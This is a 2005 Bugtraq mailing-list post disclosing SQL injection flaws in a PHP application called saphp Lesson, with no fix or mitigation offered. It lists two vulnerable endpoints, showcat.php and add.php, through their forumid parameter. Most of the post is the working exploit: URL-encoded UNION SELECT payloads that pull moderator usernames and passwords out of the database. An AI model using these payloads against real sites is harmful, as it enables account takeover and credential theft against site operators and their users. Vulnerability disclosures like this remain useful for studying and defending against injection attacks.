[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: SQL saphp Lesson
From: almaster () hotmail ! com
Date: 2005-10-24 15:52:29
Message-ID: 20051024155229.16057.qmail () securityfocus ! com
[Download RAW message or body]
saphp Lesson ..
Search By Google :-
saphp Lesson
Gr33tz :-
aLMaSTeR HaCKeR .. SQL Injection's FOunder - | almaster (at) hotmail (dot) com [email concealed]|-
Devil-00 .. SQL Injection's Exploting - | devil-00@s4a.cc | -
Security4Arab .. A'Where Home ..
1- SQL Injection in showcat.php
http://www.site.com/dros/showcat.php?forumid=|almaster
2-SQL Injection in add.php
http://www.site.com/dros/add.php?forumid=|almaster
Exp:
- Get Username By This Injection :
dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModName%20FROM%20modretor
2- Get Password By This Injection :
dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModPassword%20FROM%20modretor
aLMaSTeR [at] hotmail [dot] com
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic